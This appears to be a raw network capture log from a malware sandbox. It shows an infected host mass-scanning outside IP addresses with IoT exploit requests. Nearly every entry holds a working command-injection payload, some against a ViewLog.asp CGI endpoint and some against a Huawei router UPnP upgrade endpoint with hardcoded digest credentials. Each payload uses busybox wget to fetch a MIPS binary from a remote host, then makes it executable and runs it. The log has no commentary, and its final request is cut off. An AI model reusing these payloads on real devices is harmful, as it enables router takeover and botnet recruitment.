Nov 23, 2023 05:16:25.638480902 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:30.246556997 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:39.462485075 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:58.406400919 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:35.270287037 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
269	192.168.2.13	59060	62.29.14.11	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:21.826003075 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
270	192.168.2.13	33520	85.99.131.123	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:21.841953039 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
271	192.168.2.13	59014	31.200.40.241	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:21.897893906 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
272	192.168.2.13	58296	94.120.155.72	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:21.898051023 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
273	192.168.2.13	37162	94.122.2.83	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:21.908484936 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
274	192.168.2.13	37026	94.122.123.76	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:22.496604919 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
275	192.168.2.13	49734	94.130.226.24	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:22.932768106 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:23.117538929 CET	358	IN	HTTP/1.1 400 Bad Request Date: Thu, 23 Nov 2023 04:16:23 GMT Server: Apache Content-Length: 126 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 27 2b 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 2b 27 3a 27 2b 6c 6f 63 61 74 69 6f 6e 2e 70 6f 72 74 3b 3c 2f 73 63 72 69 70 74 3e 3c 68 31 3e 45 72 72 6f 72 20 34 30 30 20 2d 20 74 72 79 69 6e 67 20 74 6f 20 72 65 64 69 72 65 63 74 3c 2f 68 31 3e Data Ascii: <script>document.location.href='https://'+location.hostname+':'+location.port;</script><h1>Error 400 - trying to redirect</h1>

Session ID	Source IP	Source Port	Destination IP	Destination Port
276	192.168.2.13	38440	31.136.125.164	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:22.934870005 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:23.526474953 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:24.678572893 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:27.174504042 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:31.782546043 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:40.998514891 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:00.454375982 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:37.318322897 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
277	192.168.2.13	51876	94.120.43.133	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:22.967468977 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
278	192.168.2.13	50186	95.86.82.217	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:22.986753941 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
279	192.168.2.13	55344	156.254.69.22	37215

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:23.854901075 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:16:25.478477001 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 